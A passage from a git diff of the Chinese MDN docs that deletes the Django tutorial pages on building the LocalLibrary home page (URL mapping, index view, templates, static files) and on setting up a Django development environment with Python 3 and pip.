视图函数的第一部分使用objects.all()模型类的属性来获取记录计数。它还会获取一个BookInstance状态字段值为“a”(可用)的对象列表。您可以在前面的教程 (Django Tutorial Part 3: Using models > Searching for records)中找到更多关于如何访问模型的信息。

+ +

在函数结束时,我们将该函数称为render()创建和返回HTML页面作为响应(此快捷方式函数包含许多其他函数,简化了这种非常常见的用例)。它将原始request对象(an HttpRequest)作为参数,具有数据占位符的HTML模板以及context变量(包含要插入到这些占位符中的数据的Python字典)。

+ +

我们将在下一节中详细介绍模板和上下文变量; 让我们创建我们的模板,以便我们可以向用户显示一些内容

+ +

模版

+ +

模版是定义一个文件(例如HTML页面)的结构与布局的文本文件,其中占位符用于表示实际内容。Django将自动在应用程序“templates”目录查找模版。所以例如,在我们刚刚加的索引页,render() 函数会期望能够找到/locallibrary/catalog/templates/index.html这个文件,如何找不到该文件,则会引发错误。如果保存以前的更改并返回到浏览器,你可以看到访问 127.0.0.1:8000 现在将提供你一个相当直观的错误信息"TemplateDoesNotExist at /catalog/“以及其他详细信息。

+ +
+

注意: Django 将根据你的项目的设置文件, 来查看模版的许多位置 (在已安装的应用程序中进行搜索是默认设置). 你可以查阅更多关于Django如何找到模版以及它支持的模版格式在(Templates )。

+
+ +

扩展模版

+ +

索引模版将需要标准的HTML标记头部和正文,以及用于导航的部分(去我们尚为创建的网站其他的页面)以及显示一些介绍文本和我们书籍数据。我们网站上的每一页,大部分文字(HTML和导航结构)都是一样的。Django模版语言不是强制开发人员在每个页面中复制这个“样板”,而是让你声明一个基本模版,然后再扩展它,仅替换每个特定页面不同的位置。

+ +

例如,基本模版 base_generic.html 可能看起来像下面的文本。正如你所见的,它包含一些“常见“HTML”和标题,侧边栏和使用命名 blockendblock 模版标记(粗体显示)标记的内容部分。块可以是空的,或者包含将被派生页“默认使用”的内容。

+ +
+

注意: 模版标签就像你可以在模版中使用的函数循环列表,基于变量的值执行条件操作等。除了模版标签,模版语法允许你引用模版变量(通过从视图进入模版),并使用模版过滤器,其中重新格式化变量(例如,将字符串设置为小写)。

+
+ +
<!DOCTYPE html>
+<html lang="en">
+<head>
+  {% block title %}<title>Local Library</title>{% endblock %}
+</head>
+
+<body>
+  {% block sidebar %}<!-- insert default navigation text for every page -->{% endblock %}
+  {% block content %}<!-- default content text (typically empty) -->{% endblock %}
+</body>
+</html>
+
+ +

当我们要为特定视图定义一个模版时,我们首先指定基本模版(使用 extends 模版标签—查看下一个代码片段)。如果我们想要在模版中替换的章节,会使用相同的 block/endblock 部分在基本模版表明。

+ +

例如,下面我们使用 extends 模版标签,并覆盖 content 块。生成的最终HTML页面将具有基本模版中定义的所以HTML和结构(包括你在title块中定义的默认内容),但你新的 content 块插入到了默认的那块。

+ +

base_generic.html 详细会在下文中,请耐心往下看。

+ +
{% extends "base_generic.html" %}
+
+{% block content %}
+<h1>Local Library Home</h1>
+<p>Welcome to <em>LocalLibrary</em>, a very basic Django website developed as a tutorial example on the Mozilla Developer Network.</p>
+{% endblock %}
+ +

本地图书馆-基本模版

+ +

下面就是我们计划的基本模版用于本地图书馆网站。正如所看到的,内容包括一些HTML和定义块 titlesidebarcontent。我们有默认的 title(当然我们可以改)和默认的所以书籍和作者的链接列表 sidebar (我们可能并不会怎么改,但需要时,我们通过把想法放入块block中,比如想法是—允许范围)。

+ +
+

注意: 我们再介绍两个额外的模版标签: urlload static 。下文中我们会详细介绍。

+
+ +

创建一个新的文件 — /locallibrary/catalog/templates/base_generic.html — 写入如下代码

+ +
<!DOCTYPE html>
+<html lang="en">
+<head>
+
+  {% block title %}<title>Local Library</title>{% endblock %}
+  <meta charset="utf-8">
+  <meta name="viewport" content="width=device-width, initial-scale=1">
+  <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css">
+  <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.12.4/jquery.min.js"></script>
+  <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js"></script>
+
+  <!-- Add additional CSS in static file -->
+  {% load static %}
+  <link rel="stylesheet" href="{% static 'css/styles.css' %}">
+</head>
+
+<body>
+
+  <div class="container-fluid">
+
+    <div class="row">
+      <div class="col-sm-2">
+      {% block sidebar %}
+      <ul class="sidebar-nav">
+          <li><a href="{% url 'index' %}">Home</a></li>
+          <li><a href="">All books</a></li>
+          <li><a href="">All authors</a></li>
+      </ul>
+     {% endblock %}
+      </div>
+      <div class="col-sm-10 ">
+      {% block content %}{% endblock %}
+      </div>
+    </div>
+
+  </div>
+</body>
+</html>
+ +

该模版使用(并包含)JavaScript 和  Bootstrap  (css框架)来改进HTML页面的布局和显示,这个框架或者另一个客户端网络框架,这是快速创建一个可用页面来适应在不同浏览器尺寸和允许我们处理页面呈现且不用一点细节—我们只需要专注在服务器端。

+ +

基本模版还引用了一个本地css文件 (styles.css) ,它提供了一些额外的样式。 新建 /locallibrary/catalog/static/css/styles.css 如下:

+ +
.sidebar-nav {
+    margin-top: 20px;
+    padding: 0;
+    list-style: none;
+}
+ +

索引模版

+ +

新建HTML文件 /locallibrary/catalog/templates/index.html 写入下面代码。第一行我们扩展了我们的基本模版, 使用 content替换默认块。

+ +
{% extends "base_generic.html" %}
+
+{% block content %}
+<h1>Local Library Home</h1>
+
+  <p>Welcome to <em>LocalLibrary</em>, a very basic Django website developed as a tutorial example on the Mozilla Developer Network.</p>
+
+<h2>Dynamic content</h2>
+
+  <p>The library has the following record counts:</p>
+  <ul>
+    <li><strong>Books:</strong> \{{ num_books }}</li>
+    <li><strong>Copies:</strong> \{{ num_instances }}</li>
+    <li><strong>Copies available:</strong> \{{ num_instances_available }}</li>
+    <li><strong>Authors:</strong> \{{ num_authors }}</li>
+  </ul>
+
+{% endblock %}
+ +
+

注意:由于本网站就是通过django 来运维,\{{ 的模版标签 在上面代码中会运行,只能通过增加 \ 来转义,而不能直接写出“双大括号”。

+
+ +

在动态内容部分,我们的占位符(模版变量),是给我们想要视图的信息声明。变量使用“双大括号“ 或者“句柄“语法进行标记。

+ +
+

注意: 你可以轻松地识别是否使用变量或模版标签(函数),因为变量具有双括号(\{{ num_books }}) 而标记被包含在带有百分比符号 ({% extends "base_generic.html" %})的单个大括号中。

+
+ +

这里要注意的重要事情是这些变量用我们视图函数render中的字典—注入 context (下面);当渲染模版时,这些将替换为相关联的值。

+ +
return render(
+    request,
+    'index.html',
+     context={'num_books':num_books,'num_instances':num_instances,'num_instances_available':num_instances_available,'num_authors':num_authors},
+)
+ +

在模版中引用静态文件

+ +

你的项目可能会使用静态资源,包括javascriptcss 和图像。由于这些文件的位置可能不知道(或者可能会发生变化),则Django允许你指定你的模版相对于这些文件的位置 STATIC_URL 全局设置(默认基本网站设置的值 STATIC_URL,以“/static/”,但你可能选择在CDN和其他地方托管内容)。

+ +

在模版中,你首先调用 load 指定“ static”去添加此模版库(如下)。静态加载后,你可以使用 static 模版标签,指定感兴趣的文件相对URL

+ +
 <!-- Add additional CSS in static file -->
+{% load static %}
+<link rel="stylesheet" href="{% static 'css/styles.css' %}">
+ +

你可以用同样的方式将图像添加到页面中:

+ +
{% load static %}
+<img src="{% static 'catalog/images/local_library_model_uml.png' %}" alt="My image" style="width:555px;height:540px;"/>
+
+ +
+

主题: 上面的更改指定文件所在的位置,但Django默认不提供它们。当我们created the website skeleton,我们在全局URL映射器r (/locallibrary/locallibrary/urls.py) 中开发Web服务器提供服务,你仍然需要安排它们在生产中投放。我们接下来看一看

+
+ +

更多内容—Managing static files (Django docs).

+ +

链接URLs

+ +

基本的模版引入 url 模版标签

+ +
<li><a href="{% url 'index' %}">Home</a></li>
+
+ +

此标记url()使用您的urls.py中调用的函数的名称 和相关视图将从该函数接收的任何参数的值,并返回可用于链接到该资源的URL。

+ +

它看起来什么样?

+ +

运行 (python3 manage.py runserver) 和在浏览器中打开 http://127.0.0.1:8000/. I如果一切都正确设置,当当当当。

+ +

Index page for LocalLibrary website

+ +
+

注意:由于尚未定义这些网页的网址,视图和模板,因此您将无法使用“ 所有图书所有作者”链接(目前我们刚刚在base_generic.html模板中插入了这些链接的占位符

+
+ +

挑战自己

+ +

以下是一些测试您熟悉模型查询,视图和模板的任务。

+ +

   1. 在索引模板中声明一个新的标题块,并更改页面标题以匹配此特定页面。
+    2. 修改视图以生成包含特定单词(不区分大小写)的类型计数和书数,然后将这些字段添加到模板。

+ + + +

概要

+ +

我们现在已经为我们的网站创建了主页 - 一个HTML页面,显示数据库中的一些记录数,并且链接到我们其他尚待创建的页面。一路上,我们已经学到了很多有关url映射器,视图,使用我们的模型查询数据库的基本信息,如何从您的视图传递信息到模板,以及如何创建和扩展模板。

+ +

在我们的下一篇文章中,我们将基于我们的知识来创建其他四个页面。

+ +

也可以看看

+ + + +

{{PreviousMenuNext("Learn/Server-side/Django/Admin_site", "Learn/Server-side/Django/Generic_views", "Learn/Server-side/Django")}}

diff --git "a/files/zh-cn/learn/server-side/django/\344\270\273\351\241\265\346\236\204\345\273\272/index.html" "b/files/zh-cn/learn/server-side/django/\344\270\273\351\241\265\346\236\204\345\273\272/index.html" deleted file mode 100644 index 0527ba8731..0000000000 --- "a/files/zh-cn/learn/server-side/django/\344\270\273\351\241\265\346\236\204\345\273\272/index.html" +++ /dev/null @@ -1,358 +0,0 @@ ---- -title: 'Django Tutorial Part 5: 主页构建' -slug: learn/Server-side/Django/主页构建 -translation_of: Learn/Server-side/Django/Home_page ---- -
{{LearnSidebar}}
- -
{{PreviousMenuNext("Learn/Server-side/Django/Admin_site", "Learn/Server-side/Django/Generic_views", "Learn/Server-side/Django")}}
- -

  我们现在可以添加代码来显示我们的第一个完整页面 -  LocalLibrary 网站的主页,显示每个模型类型有多少条记录,并提供我们其他页面的侧边栏导航链接。一路上,我们将获得编写基本URL地图和视图,从数据库获取记录以及使用模板的实践经验。

- - - - - - - - - - - - -
前提:读 the Django Introduction. 完成上章节 (including Django Tutorial Part 4: Django admin site).
目的:了解如何创建简单的URL映射和视图(没有数据编码在URL中)以及如何从模型中获取数据并创建模版。
- -

概要

- -

现在我们已经定义了我们的模型,并创建了一些初始库记录来处理,现在是编写代码以向用户呈现该信息的时候了。我们需要做的第一件事是确定我们希望能够在我们的页面中显示哪些信息,然后为返回这些资源定义适当的URL。那么我们将需要创建一个url映射器,视图和模板来显示这些页面。

- -

以下图表提供了处理HTTP请求/响应时需要实现的数据和事情的主要流程。我们已经创建了这个模型,我们需要创建的主要内容是:

- - - -

- -

正如你将在下一节中看到的,我们将要显示5个页面,这在一篇文章中是很重要的。因此,本文的大部分内容将重点介绍如何实现主页(我们将在随后的文章中介绍其他页面)。这应该让您对URL映射器,视图和模型在实践中如何工作有一个很好的端到端的了解。

- -

定义资源URL

- -

由于本版本的LocalLibrary对于最终用户本质上是只读的,所以我们只需要为该网站(主页)提供一个着陆页,以及显示书籍和作者的列表和详细视图的页面。

- -

下面这些URL 是我们页面需要的:

- - - -

前三个URL用于列出索引,书籍和作者。这些不会对任何附加信息进行编码,而返回的结果将取决于数据库中的内容,运行获取信息的查询将始终保持一致。

- -

相比之下,最后两个URL用于显示有关特定书籍或作者的详细信息 - 这些URL将编码要显示在URL中的项目的标识(如上所示<id>)。URL映射器可以提取编码信息并将其传递给视图,然后将动态地确定从数据库获取哪些信息。通过对我们的URL中的信息进行编码,我们只需要一个URL映射,视图和模板来处理每本书(或作者)。

- -
-

注意:Django允许您以任何您喜欢的方式构建您的URL - 您可以如上所示编码URL正文中的信息,或使用URL GET参数(例如  /book/?id=6)。无论您使用哪种方法,URL都应保持清洁,逻辑和可读性 (check out the W3C advice here).
-
- Django文档倾向于在URL的主体中推荐编码信息,这是他们觉得鼓励更好的URL设计的实践。

-
- -

如概述,本文其余部分介绍如何构建索引页

- -

创建索引页

- -

我们创建的第一个页面将会是索引页(catalog/)。这会显示一些静态HTML,以及数据库中不同记录的一些计算的“计数“。为了使其工作,我们必须创建一个URL映射,视图和模版。

- -
-

注意: 本节应该特别注意。一些”材料“在所有页面都通用。

-
- -

URL 映射

- -

在我们创建的基础网站上,更新 /locallibrary/urls.py 文件。以确保每当收到以catalog/开头的URL时,URLConf模块中的catalog.urls 会处理剩余的字符串。

- -

打开 catalog/urls.py ,复制下面代码

- -
urlpatterns = [
-    path('', views.index, name='index'),
-]
- -

如果检测到URL模式'',(views.index——在view.py中函数命名index() )将被调用。URL模式是Python 正则表达式 (RE)。我们将在本教程中进一步介绍RE。

- -
-

注意: 在  /locallibrary/locallibrary/urls.py 

- -
urlpatterns += [
-    path('catalog/', include('catalog.urls')),
-]
- -

每当Django 使用 include() (django.conf.urls.include()),它排除与该点 匹配URL的任何部分,并将剩余的字符串发送到随附的 URLconf 进行一步处理。

- -

匹配的URL 实际上是 catalog/+<空字符串> (/catalog/ 假定是因为 include()是使用的方法)。如果我们收到一个URL的HTTP请求,我们的第一个视图函数将被调用/catalog/。

-
- -

此函数还说明了一个name参数,此唯一标识指定 URL 映射。你可以使用 "reverse" 映射—去动态创建指定映射设计处理的资源的一个URL。例如,我们现在可以通过在我们的模版中创建以下链接到我们的主页:

- -
<a href="{% url 'index' %}">Home</a>.
- -
-

注意: 我们当然可以硬编码上面的链接(如:<a href="/catalog/">Home</a>),但是如果我们改变了主页的模式,模版将不再正确链接,使用反向网址映射会更灵活和强大。

-
- -

View (基于功能)

- -

视图是处理HTTP请求的功能,根据需要从数据库获取数据,通过使用HTML模板呈现此数据生成HTML页面,然后以HTTP响应返回HTML以显示给用户。索引视图遵循此模型 - 它提取有关数据库中有多少BookBookInstance 可用 BookInstance Author 记录的信息,并将其传递给模板以进行显示。

- -

打开catalog / views.py,并注意该文件已经导入了 使用模板和数据生成HTML文件的 render() 快捷方式函数。

- -
from django.shortcuts import render
-
-# Create your views here.
-
- -

复制文件底部的以下代码。第一行导入我们将用于访问所有视图中数据的模型类。

- -
from .models import Book, Author, BookInstance, Genre
-
-def index(request):
-    """
-    View function for home page of site.
-    """
-    # Generate counts of some of the main objects
-    num_books=Book.objects.all().count()
-    num_instances=BookInstance.objects.all().count()
-    # Available books (status = 'a')
-    num_instances_available=BookInstance.objects.filter(status__exact='a').count()
-    num_authors=Author.objects.count()  # The 'all()' is implied by default.
-
-    # Render the HTML template index.html with the data in the context variable
-    return render(
-        request,
-        'index.html',
-        context={'num_books':num_books,'num_instances':num_instances,'num_instances_available':num_instances_available,'num_authors':num_authors},
-    )
- -

视图函数的第一部分使用objects.all()模型类的属性来获取记录计数。它还会获取一个BookInstance状态字段值为“a”(可用)的对象列表。您可以在前面的教程 (Django Tutorial Part 3: Using models > Searching for records)中找到更多关于如何访问模型的信息。

- -

在函数结束时,我们将该函数称为render()创建和返回HTML页面作为响应(此快捷方式函数包含许多其他函数,简化了这种非常常见的用例)。它将原始request对象(an HttpRequest)作为参数,具有数据占位符的HTML模板以及context变量(包含要插入到这些占位符中的数据的Python字典)。

- -

我们将在下一节中详细介绍模板和上下文变量; 让我们创建我们的模板,以便我们可以向用户显示一些内容

- -

模版

- -

模版是定义一个文件(例如HTML页面)的结构与布局的文本文件,其中占位符用于表示实际内容。Django将自动在应用程序“templates”目录查找模版。所以例如,在我们刚刚加的索引页,render() 函数会期望能够找到/locallibrary/catalog/templates/index.html这个文件,如何找不到该文件,则会引发错误。如果保存以前的更改并返回到浏览器,你可以看到访问 127.0.0.1:8000 现在将提供你一个相当直观的错误信息"TemplateDoesNotExist at /catalog/“以及其他详细信息。

- -
-

注意: Django 将根据你的项目的设置文件, 来查看模版的许多位置 (在已安装的应用程序中进行搜索是默认设置). 你可以查阅更多关于Django如何找到模版以及它支持的模版格式在(Templates )。

-
- -

扩展模版

- -

索引模版将需要标准的HTML标记头部和正文,以及用于导航的部分(去我们尚为创建的网站其他的页面)以及显示一些介绍文本和我们书籍数据。我们网站上的每一页,大部分文字(HTML和导航结构)都是一样的。Django模版语言不是强制开发人员在每个页面中复制这个“样板”,而是让你声明一个基本模版,然后再扩展它,仅替换每个特定页面不同的位置。

- -

例如,基本模版 base_generic.html 可能看起来像下面的文本。正如你所见的,它包含一些“常见“HTML”和标题,侧边栏和使用命名 blockendblock 模版标记(粗体显示)标记的内容部分。块可以是空的,或者包含将被派生页“默认使用”的内容。

- -
-

注意: 模版标签就像你可以在模版中使用的函数循环列表,基于变量的值执行条件操作等。除了模版标签,模版语法允许你引用模版变量(通过从视图进入模版),并使用模版过滤器,其中重新格式化变量(例如,将字符串设置为小写)。

-
- -
<!DOCTYPE html>
-<html lang="en">
-<head>
-  {% block title %}<title>Local Library</title>{% endblock %}
-</head>
-
-<body>
-  {% block sidebar %}<!-- insert default navigation text for every page -->{% endblock %}
-  {% block content %}<!-- default content text (typically empty) -->{% endblock %}
-</body>
-</html>
-
- -

当我们要为特定视图定义一个模版时,我们首先指定基本模版(使用 extends 模版标签—查看下一个代码片段)。如果我们想要在模版中替换的章节,会使用相同的 block/endblock 部分在基本模版表明。

- -

例如,下面我们使用 extends 模版标签,并覆盖 content 块。生成的最终HTML页面将具有基本模版中定义的所以HTML和结构(包括你在title块中定义的默认内容),但你新的 content 块插入到了默认的那块。

- -

base_generic.html 详细会在下文中,请耐心往下看。

- -
{% extends "base_generic.html" %}
-
-{% block content %}
-<h1>Local Library Home</h1>
-<p>Welcome to <em>LocalLibrary</em>, a very basic Django website developed as a tutorial example on the Mozilla Developer Network.</p>
-{% endblock %}
- -

本地图书馆-基本模版

- -

下面就是我们计划的基本模版用于本地图书馆网站。正如所看到的,内容包括一些HTML和定义块 titlesidebarcontent。我们有默认的 title(当然我们可以改)和默认的所以书籍和作者的链接列表 sidebar (我们可能并不会怎么改,但需要时,我们通过把想法放入块block中,比如想法是—允许范围)。

- -
-

注意: 我们再介绍两个额外的模版标签: urlload static 。下文中我们会详细介绍。

-
- -

创建一个新的文件 — /locallibrary/catalog/templates/base_generic.html — 写入如下代码

- -
<!DOCTYPE html>
-<html lang="en">
-<head>
-
-  {% block title %}<title>Local Library</title>{% endblock %}
-  <meta charset="utf-8">
-  <meta name="viewport" content="width=device-width, initial-scale=1">
-  <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css">
-  <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.12.4/jquery.min.js"></script>
-  <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js"></script>
-
-  <!-- Add additional CSS in static file -->
-  {% load static %}
-  <link rel="stylesheet" href="{% static 'css/styles.css' %}">
-</head>
-
-<body>
-
-  <div class="container-fluid">
-
-    <div class="row">
-      <div class="col-sm-2">
-      {% block sidebar %}
-      <ul class="sidebar-nav">
-          <li><a href="{% url 'index' %}">Home</a></li>
-          <li><a href="">All books</a></li>
-          <li><a href="">All authors</a></li>
-      </ul>
-     {% endblock %}
-      </div>
-      <div class="col-sm-10 ">
-      {% block content %}{% endblock %}
-      </div>
-    </div>
-
-  </div>
-</body>
-</html>
- -

该模版使用(并包含)JavaScript 和  Bootstrap  (css框架)来改进HTML页面的布局和显示,这个框架或者另一个客户端网络框架,这是快速创建一个可用页面来适应在不同浏览器尺寸和允许我们处理页面呈现且不用一点细节—我们只需要专注在服务器端。

- -

基本模版还引用了一个本地css文件 (styles.css) ,它提供了一些额外的样式。 新建 /locallibrary/catalog/static/css/styles.css 如下:

- -
.sidebar-nav {
-    margin-top: 20px;
-    padding: 0;
-    list-style: none;
-}
- -

索引模版

- -

新建HTML文件 /locallibrary/catalog/templates/index.html 写入下面代码。第一行我们扩展了我们的基本模版, 使用 content替换默认块。

- -
{% extends "base_generic.html" %}
-
-{% block content %}
-<h1>Local Library Home</h1>
-
-  <p>Welcome to <em>LocalLibrary</em>, a very basic Django website developed as a tutorial example on the Mozilla Developer Network.</p>
-
-<h2>Dynamic content</h2>
-
-  <p>The library has the following record counts:</p>
-  <ul>
-    <li><strong>Books:</strong> \{{ num_books }}</li>
-    <li><strong>Copies:</strong> \{{ num_instances }}</li>
-    <li><strong>Copies available:</strong> \{{ num_instances_available }}</li>
-    <li><strong>Authors:</strong> \{{ num_authors }}</li>
-  </ul>
-
-{% endblock %}
- -
-

注意:由于本网站就是通过django 来运维,\{{ 的模版标签 在上面代码中会运行,只能通过增加 \ 来转义,而不能直接写出“双大括号”。

-
- -

在动态内容部分,我们的占位符(模版变量),是给我们想要视图的信息声明。变量使用“双大括号“ 或者“句柄“语法进行标记。

- -
-

注意: 你可以轻松地识别是否使用变量或模版标签(函数),因为变量具有双括号(\{{ num_books }}) 而标记被包含在带有百分比符号 ({% extends "base_generic.html" %})的单个大括号中。

-
- -

这里要注意的重要事情是这些变量用我们视图函数render中的字典—注入 context (下面);当渲染模版时,这些将替换为相关联的值。

- -
return render(
-    request,
-    'index.html',
-     context={'num_books':num_books,'num_instances':num_instances,'num_instances_available':num_instances_available,'num_authors':num_authors},
-)
- -

在模版中引用静态文件

- -

你的项目可能会使用静态资源,包括javascriptcss 和图像。由于这些文件的位置可能不知道(或者可能会发生变化),则Django允许你指定你的模版相对于这些文件的位置 STATIC_URL 全局设置(默认基本网站设置的值 STATIC_URL,以“/static/”,但你可能选择在CDN和其他地方托管内容)。

- -

在模版中,你首先调用 load 指定“ static”去添加此模版库(如下)。静态加载后,你可以使用 static 模版标签,指定感兴趣的文件相对URL

- -
 <!-- Add additional CSS in static file -->
-{% load static %}
-<link rel="stylesheet" href="{% static 'css/styles.css' %}">
- -

你可以用同样的方式将图像添加到页面中:

- -
{% load static %}
-<img src="{% static 'catalog/images/local_library_model_uml.png' %}" alt="My image" style="width:555px;height:540px;"/>
-
- -
-

主题: 上面的更改指定文件所在的位置,但Django默认不提供它们。当我们created the website skeleton,我们在全局URL映射器r (/locallibrary/locallibrary/urls.py) 中开发Web服务器提供服务,你仍然需要安排它们在生产中投放。我们接下来看一看

-
- -

更多内容—Managing static files (Django docs).

- -

链接URLs

- -

基本的模版引入 url 模版标签

- -
<li><a href="{% url 'index' %}">Home</a></li>
-
- -

此标记url()使用您的urls.py中调用的函数的名称 和相关视图将从该函数接收的任何参数的值,并返回可用于链接到该资源的URL。

- -

它看起来什么样?

- -

运行 (python3 manage.py runserver) 和在浏览器中打开 http://127.0.0.1:8000/. I如果一切都正确设置,当当当当。

- -

Index page for LocalLibrary website

- -
-

注意:由于尚未定义这些网页的网址,视图和模板,因此您将无法使用“ 所有图书所有作者”链接(目前我们刚刚在base_generic.html模板中插入了这些链接的占位符

-
- -

挑战自己

- -

以下是一些测试您熟悉模型查询,视图和模板的任务。

- -

   1. 在索引模板中声明一个新的标题块,并更改页面标题以匹配此特定页面。
-    2. 修改视图以生成包含特定单词(不区分大小写)的类型计数和书数,然后将这些字段添加到模板。

- - - -

概要

- -

我们现在已经为我们的网站创建了主页 - 一个HTML页面,显示数据库中的一些记录数,并且链接到我们其他尚待创建的页面。一路上,我们已经学到了很多有关url映射器,视图,使用我们的模型查询数据库的基本信息,如何从您的视图传递信息到模板,以及如何创建和扩展模板。

- -

在我们的下一篇文章中,我们将基于我们的知识来创建其他四个页面。

- -

也可以看看

- - - -

{{PreviousMenuNext("Learn/Server-side/Django/Admin_site", "Learn/Server-side/Django/Generic_views", "Learn/Server-side/Django")}}

diff --git "a/files/zh-cn/learn/server-side/django/\345\274\200\345\217\221\347\216\257\345\242\203/index.html" "b/files/zh-cn/learn/server-side/django/\345\274\200\345\217\221\347\216\257\345\242\203/index.html" deleted file mode 100644 index fb6041621f..0000000000 --- "a/files/zh-cn/learn/server-side/django/\345\274\200\345\217\221\347\216\257\345\242\203/index.html" +++ /dev/null @@ -1,406 +0,0 @@ ---- -title: 设置Django开发环境 -slug: learn/Server-side/Django/开发环境 -tags: - - Python - - django -translation_of: Learn/Server-side/Django/development_environment ---- -
{{LearnSidebar}}
- -
{{PreviousMenuNext("Learn/Server-side/Django/Introduction", "Learn/Server-side/Django/Tutorial_local_library_website", "Learn/Server-side/Django")}}
- -

现在,你知道什么是Django。
- 那么我们将向你展示如何在Windows,Linux(Ubuntu)和 Mac OSX上设置和测试Django开发环境—无论你常用哪种操作系统,本文能给你开发Django应用所需的一切。

- - - - - - - - - - - - -
先决条件:知道如何在你开发所用的计算机操作系统中,打开终端/命令行和安装软件包。
目的:在你的计算机中运行Django(1.10)开发环境。
- -

Django 开发环境概述

- -

Django 使你可以轻松配置自己的电脑,以便开始开发网络应用。本节解释您可以从开发环境中获得什么,并提供一些设置和配置选项的概述。本文的其余部分介绍了在UbuntuMac OSX和Windows上安装Django开发环境的 推荐方法,以及如何测试。

- -

什么是Django开发环境?

- -

开发环境是本地计算机上的Django安装,在将Django应用程序部署到生产环境之前,您可以使用它来开发和测试Django应用程序。

- -

Django 本身提供的主要工具是一组用于创建和使用Django项目的Python脚本,以及可在你电脑的web 浏览器中测试本地Django web应用(在你的计算机,而不是在外部的web 服务器)。

- -

还有其他外部工具, 它们构成了开发环境的一部分, 我们将不再赘述。这些包括 文本编辑器 或编辑代码的IDE,以及像 Git 这样的源代码控制管理工具,用于安全地管理不同版本的代码。我们假设你已经安装了一个文本编辑器。

- -

什么是Django设置选项?

- -

Django 在安装和配置方面非常灵活。Django可以:

- - - -

每个选项都需要略微不同的配置和设置。以下小节解释了你的一些选择。在本文的其余部分中,我们将介绍Django在几个操作系统上的设置,并且在本教程的剩余模块中将假设你已进行该设置。

- -
-

注意: 其他可能的安装选项在官方Django文档中介绍。相应文件 点击这里.

-
- -

支持哪些操作系统?

- -

Django web应用程序能运行在几乎任何可以运行Python3的计算机上:Windows,Mac OSX,Linux/Unix,Solaris,仅举几例。几乎任何计算机都具备在开发期间运行Django所需的性能。

- -

在本文中。我们将提供Windows,macOS 和Linux/Unix的说明。

- -

你应该使用什么版本的Python?

- -

我们建议你使用最近发行的版本,在本文档写作的时候是Python 3.8.2。

- -

事实上,Python 3.5 以及更新的版本都可以用来开发,不过对Python 3.5的支持可能会在未来的版本更新中被移除。

- -

我们建议你使用最新版本的Python 3,除非该站点依赖于仅适用于Python 2 的第三方库。本文将介绍如何为Python 3安装环境(Python 2 的等效设置将非常相似)。

- - - -
-

注意: Python 2.7 无法用于当前的 Django 发行版本(Django 1.11.x 系列是最后支持 Python 2.7 的版本)。

-
- -

我们在哪里下载Django?

- -

有三个地方可以下载Django:

- - - -

本文介绍如何从PyPi安装Django的最新稳定版本。

- -

哪个数据库?

- -

Django支持四个主要数据库(PostgreSQL,MySQL,Oracle和SQLite),还有一些社区库可以为其他流行的SQL和NOSQL数据库提供不同级别的支持。我们建议你为生产和开发选择相同的数据库(尽管Django使用其对象关系映射器(ORM)抽象了许多数据库之间的差异,但是仍然存在本可以避免的潜在问题 ).

- -

对于本文(和本模块的大部分),我们将使用将数据存储在文件中的SQLite数据库。SQLite旨在用作轻量级数据库,不能支持高并发。然而,这确实是只读的应用程序的绝佳选择。

- -
-

注意:当你使用标准工具(django-admin)启动你的网站项目时,Django将默认使用SQLite。用来入门时,这是一个很好的选择,因为它不需要额外的配置和设置。

-
- -

安装本机系统还是Python虚拟环境中?

- -

当你安装Python3时,将获得一个由所有Python3代码共享的全局环境。虽然你可以在该环境中安装任何你喜欢的Python包,但是每次只能安装每个包的一个特定版本。

- -
-

注意:安装到全局环境的Python应用程序可能会相互冲突(例如如果它们依赖于同一包的不同版本)。

-
- -

如果你把Django安装到默认/全局环境中,那么在该计算机上将只能定位到Django的一个版本。如果你想创建新的网站(使用最新版本的Django),同时仍然维护依赖旧版本的网站,这可能是个问题。

- -

因此,经验丰富的Python/Django开发人员通常在独立Python虚拟环境中运行Python应用程序。这样就可以在一台计算机上实现多个不同的Django环境。Django开发团队同样建议你使用Python虚拟环境。

- -

本模块假设已经将Django安装到虚拟环境中,下面我们会演示如何进行。

- -

安装 Python 3

- -

为了使用Django,你需要在你的操作系统中安装Python。如果你使用Python3,那么你同样需要Python 包管理工具  — pip3 — 用来管理 (安装,更新和删除)被Django和其他Python应用程序使用的Python软件包/库。

- -

本节简要介绍了如何检查有哪些版本的Python,并根据需要安装适用于 Ubuntu Linux 16.04,macOS, and Windows 10的新版本。

- -
-

注意: 根据你的平台, 您还可以从操作系统自己的软件包管理器或其他机制安装Python / pip。对于大多数平台,您可以从https://www.python.org/downloads/下载所需的安装文件,并使用该平台特定的方法进行安装。

-
- -

Ubuntu 18.04

- -

Ubuntu Linux 18.04 LTS默认包含Python 3.6.6。你可以通过在Bash终端中运行以下命令来确认这一点:

- -
python3 -V
- Python 3.6.6
- -

然而,在默认情况下,为Python 3(包括Django)安装软件包的Python包管理工具不可用。你可以在bash终端中使用以下命令安装pip3

- -
sudo apt-get install python3-pip
-
- -

macOS

- -

macOS 的"El Capitan" 及其他最新版本不包含Python 3。你可以通过在bash终端中运行一下命令来确认:

- -
python3 -V
- -bash: python3: command not found
- -

你可以轻松地从 python.org安装Python 3(以及pip3工具):

- -
    -
  1. 下载所需的安装程序: -
      -
    1. 点击 https://www.python.org/downloads/
    2. -
    3. 选择 Download Python 3.8.2  (具体的版本号可能不同)。
    4. -
    -
  2. -
  3. 使用Finder找到安装包,然后双击运行,并按照提示进行安装。
  4. -
- -

之后可以通过检查Python3版本确认是否安装成功,如下所示:

- -
python3 -V
-Python 3.8.2
- -

你也可以通过列出可用的包来检查pip3是否安装了:

- -
pip3 list
- -

Windows 10

- -

windows默认不包含Python, 但你可以从 python.org轻松地安装它(以及pip3工具):

- -
    -
  1. 下载所需版本: -
      -
    1. 点击 https://www.python.org/downloads/
    2. -
    3. 选择 Download Python 3.8.2  (具体的版本号可能不同)。
    4. -
    -
  2. -
  3. 双击现在的文件并按照提示安装Python。
  4. -
  5. 确保勾选了"Add Python to PATH"选项。
  6. -
- -

你可以在命令提示符中输入以下内容来验证是否安装了Python:

- -
python -V
- Python 3.8.2
-
- -

